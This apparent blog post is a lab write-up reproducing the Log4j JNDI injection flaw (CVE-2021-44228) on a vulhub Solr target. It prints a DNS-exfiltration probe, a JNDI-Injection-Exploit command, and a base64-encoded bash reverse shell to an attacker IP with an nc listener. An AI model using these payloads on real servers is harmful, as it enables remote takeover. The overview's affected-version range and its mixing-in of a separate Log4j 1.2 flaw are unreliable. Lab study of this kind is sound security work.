Log4j漏洞CVE-2021-44228原理以及漏洞复现【vulhub】
漏洞概述

-
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Log4j 1.2中包含一个SocketServer类,该类容易受到不可信数据反序列化的影响,当侦听不可信网络流量以获取日志数据时,该类可被利用与反序列化小工具结合使用以远程执行任意代码。攻击者可利用该漏洞执行任意代码。 -
由于
Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。 -
如果入侵者在前端页面上输入了:
${jndi:rmi://127.0.0.1:8080/evil}这串字符, 然后后台用log4j记录了这串字符,log4j会自动使用jndi调用这个地址上的rmi内容。
关于JNDI
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
关于RMI
RMI(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。
影响版本
1.2 到 2.14 的 Log4j 版本。
漏洞检测
- 首先利用
docker打开环境【docker的搭建可以参考以前的文章】
- 访问
http://靶机1IP:8983/solr/#/说明环境开启成功。
- 在Dnslog申请一个域名
9scgy5.dnslog.cn
- 进行请求
http://192.168.11.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.9scgy5.dnslog.cn}
- 查看域名解析记录,存在漏洞,需要点击刷新下并成功返回java版本。为什么能显示java的版本,因为
poc里面加了一个查看java版本的命令${sys:java.version},所以java版本结果回显在dnslog上面来了。【DNS不一样是因为中途电脑闪退,所以换了一个,但是步骤都是正确的】![[]](https://i-blog.csdnimg.cn/blog_migrate/a2bc53eeee502d82f343f726b62c6aac.png)
可以看到java版本被输出,说明漏洞存在。
漏洞复现
靶机:192.168.11.128
攻击机:192.68.11.131
- 在攻击机中利用应用工具
JNDI-Injection-Exploit搭建服务:格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "ip(攻击机)"
这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
接下来要实现反弹shell,可以用命令
bash -i >& /dev/tcp/192.168.11.131/6666 0>&1
注意“命令”必须经过编码,不然将无法实现
bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMS4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

- 最终的命令如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMS4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.11.131"

- 另起终端,打开
sudo nc -lvnp 6666端口 进行监听
- 发送
payload
http://192.168.11.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.11.131:1099/rbt35x}


5. 获取shell

漏洞预防
- 使用高版本的
log4j2,禁用log4j2的lookup
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)